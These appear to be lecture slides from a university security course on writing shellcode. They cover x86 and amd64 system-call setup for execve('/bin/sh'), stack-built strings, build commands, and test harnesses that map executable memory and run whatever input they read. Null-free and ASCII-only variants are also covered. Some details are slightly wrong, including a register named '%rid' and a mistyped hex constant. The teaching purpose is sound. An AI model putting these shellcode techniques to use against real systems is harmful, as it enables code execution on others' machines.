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Last Class

1. Defenses
a. Address Space Layout Randomization (ASLR)

Seccomp



NDSS 2016



Announcement

Midterm next week. 2hrs.

1. UB Learns (Blackboard)
2. Multiple choice
3. Binary hacking



Today’s Agenda

1. Developing shellcode
a. Non-zero shellcode
b. Non-printable, non-alphanumeric shellcode
c. English shellcode



code/tester.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int main()
{

void * page = 0;
page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

if (!page)
{

puts("Fail to mmap.\n");
exit(0);

}

read(0, page, 0x1000);
((void(*)())page)();

}



x86 invoke system call

● Set %eax as target system call number

● Set arguments
○ 1st arg : %ebx
○ 2nd arg: %ecx
○ 3rd arg: %edx
○ 4th arg: %esi
○ 5th arg: %edi

● Run
○ int $0x80

● Return value will be stored in %eax

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md



x86 calling execve()

execve(char* filepath, char** argv, char** envp)

execve(“/bin/sh”, NULL, NULL);

%eax = $SYS_execve
%ebx = address of “/bin/sh”
%ecx = 0
%edx = 0



x86 how to create a string?

%ebx = address of “/bin/sh”

Use Stack
● Push $0
● push $0x67832f6e // “n/sh”
● push $0x69622f2f // “//bi”
● mov %esp, %ebx



Let us code shellcode32zero.s

gcc -m32 -nostdlib -static shellcode32zero.s -o shellcode32zero
objcopy --dump-section .text=shellcode32zero-raw shellcode32zero



amd64 invoke system call

● Set %rax as target system call number

● Set arguments
○ 1st arg : %rid
○ 2nd arg: %rsi
○ 3rd arg: %rdx
○ 4th arg: %r10
○ 5th arg: %r8

● Run
○ syscall

● Return value will be stored in %rax

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md



amd64 how to create a string?

Rip-based addressing

lea binsh(%rip), %rdi
mov $0, %rsi
mov $0, %rdx
syscall
binsh:
.string "/bin/sh"



Let us code shellcode64zero.s

gcc -nostdlib -static shellcode64zero.s -o shellcode64zero
objcopy --dump-section .text=shellcode64zero-raw shellcode64zero



code/testernozero

char buf[0x1000] = {0};

int main()
{

void * page = 0;
page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

if (!page)
{

puts("Fail to mmap.\n");
exit(0);

}

read(0, buf, 0x1000);
strcpy(page, buf);
((void(*)())page)();

}



Non-shell shellcode

Finish another task but do not return 
a shell.

Print out the secret file in the folder



code/testerascii

char *asciicpy(char *dest, const char *src)
{

unsigned i;
for (i = 0; src[i] > 0 && src[i] < 127; ++i)

dest[i] = src[i];

return dest;}

int main()
{

void * page = 0;
page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

if (!page)
{

puts("Fail to mmap.\n");
exit(0);

}

read(0, buf, 0x1000);
asciicpy(page, buf);
((void(*)())page)();}



English Shellcode

CCS 2009



English Shellcode



How breakpoints work?

int $3

Set breakpoint by yourself.


